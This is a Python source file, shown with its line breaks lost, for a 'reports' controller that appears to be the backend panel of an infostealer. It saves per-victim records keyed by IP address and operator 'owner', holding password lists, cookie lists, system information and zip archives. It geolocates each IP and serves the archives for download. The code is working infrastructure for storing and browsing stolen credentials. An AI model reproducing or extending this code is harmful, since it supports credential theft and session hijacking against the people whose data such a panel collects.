#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Import modules from io import BytesIO from hashlib import md5 from os import path, remove from maxminddb import open_database from json import loads as parse_json from timeago import format as timeago from time import time, strftime, localtime # Import packages from core.models.country import GeoData from core.models.errors import ReportsJsonErrors from core.manager.database import DatabaseManager from core.paths import REPORTS_DIR, DATABASE_DIR # Connect to reports database reports_db = DatabaseManager("reports.db") # Connect to maxmind geo-ip database geo_ip = open_database(path.join(DATABASE_DIR, "GeoLite2-City.mmdb")) """ Reports controller """ class Report(object): def __init__(self, identification: int = 0, archive: str = "", geo_data: dict = {}, counter: dict = {}, information: dict = {}, passwords_list: str = "", cookies_list: str = "", add_time: str = "", comment: str = ""): self.id = identification self.comment = comment self.archive = archive self.counter = counter self.add_time = add_time self.geo_data = geo_data self.information = information self.cookies_list = cookies_list self.passwords_list = passwords_list # Repr def __repr__(self): return f"Report(id={self.id})" # Check if report exists def Exists(self) -> bool: response = reports_db.execute( sql="SELECT id FROM reports WHERE id = ?", values=[self.id], commit_changes=False ) return len(response) != 0 # Save report def SaveReport(self, ip: str, owner: str): # Get zip name and path zip_name = md5(f"{owner}_{ip}_{len(self.passwords_list)}".encode()).hexdigest() zip_path = path.join(REPORTS_DIR, zip_name) # Write system info to database reports_db.execute( sql="INSERT INTO reports " "(archive, ip_address, counter, information, passwords_list, cookies_list, time, owner) " "VALUES (?, ?, ?, ?, ?, ?, ?, ?)", values=[zip_name, ip, self.counter, self.information, self.passwords_list, self.cookies_list, time(), owner], commit_changes=True ) # Write report to archive with open(zip_path, "wb") as archive: archive.write(self.archive) # Remove report from disk and database def DeleteReport(self): # Get archive name from database archive_name = reports_db.execute( sql="SELECT archive FROM reports WHERE id = ?", values=[self.id], commit_changes=False )[0][0] # Delete report from database reports_db.execute( sql="DELETE FROM reports WHERE id = ?", values=[self.id], commit_changes=True ) zip_file = path.join(REPORTS_DIR, archive_name) # Delete report from disk if path.exists(zip_file): remove(zip_file) # Set comment def ChangeComment(self, text: str): # Delete report from database reports_db.execute( sql="UPDATE reports SET comment = ? WHERE id = ?", values=[text, self.id], commit_changes=True ) # Get archive bytes def GetArchive(self) -> tuple: # Fetch reports response = reports_db.execute( sql="SELECT archive, ip_address, time FROM reports WHERE id = ?", values=[self.id], commit_changes=False )[0] # Read and decompress archive from disk zip_path = path.join(REPORTS_DIR, response[0]) if path.exists(zip_path) == True: with open(zip_path, "rb") as archive: # Generate archive name fmt = "%d-%m-%Y %H:%M:%S" name = f"report [{response[1]}] {strftime(fmt, localtime(response[2]))}.zip" # Return handle with generated name return BytesIO(archive.read()), name return BytesIO(b''), "error" # Check if user is report owner def IsReportOwner(self, owner: str) -> bool: response = reports_db.execute( sql="SELECT owner FROM reports WHERE id = ?", values=[self.id], commit_changes=False )[0] return owner.__eq__(response[0]) # Get reports @staticmethod def GetReports(owner: str, identification: int = None, geo_data_dict: bool = False) -> list: reports = [] # Fetch all reports if identification is None: response = reports_db.execute( sql="SELECT id, archive, ip_address, counter, information, passwords_list, cookies_list, comment, time FROM reports WHERE owner = ? ORDER BY time DESC", values=[owner], commit_changes=False ) # Fetch one report else: response = reports_db.execute( sql="SELECT id, archive, ip_address, counter, information, passwords_list, cookies_list, comment, time FROM reports WHERE owner = ? AND id = ?", values=[owner, identification], commit_changes=False ) # Enumerate all reports for row in response: # Append geo data for report geo = geo_ip.get(row[2]) if geo is None: geo = {} geo["ip_address"] = row[2] if geo_data_dict is False: geo = GeoData(geo) # Append time data for report fmt = "%d.%m.%Y %H:%M:%S" date = strftime(fmt, localtime(row[8])) ago = timeago(row[8]) add_time = f"{date} ({ago})" # Parse JSON counter values try: counter = parse_json(row[3]) except Exception: # On JSON parse error counter = ReportsJsonErrors.default_counter # Parse JSON os information values try: information = parse_json(row[4]) except Exception: # On JSON parse error information = ReportsJsonErrors.default_information # Create report object new = Report( identification=row[0], archive=row[1], counter=counter, add_time=add_time, cookies_list=row[6], passwords_list=row[5], comment=row[7], geo_data=geo, information=information, ) reports.append(new) return reports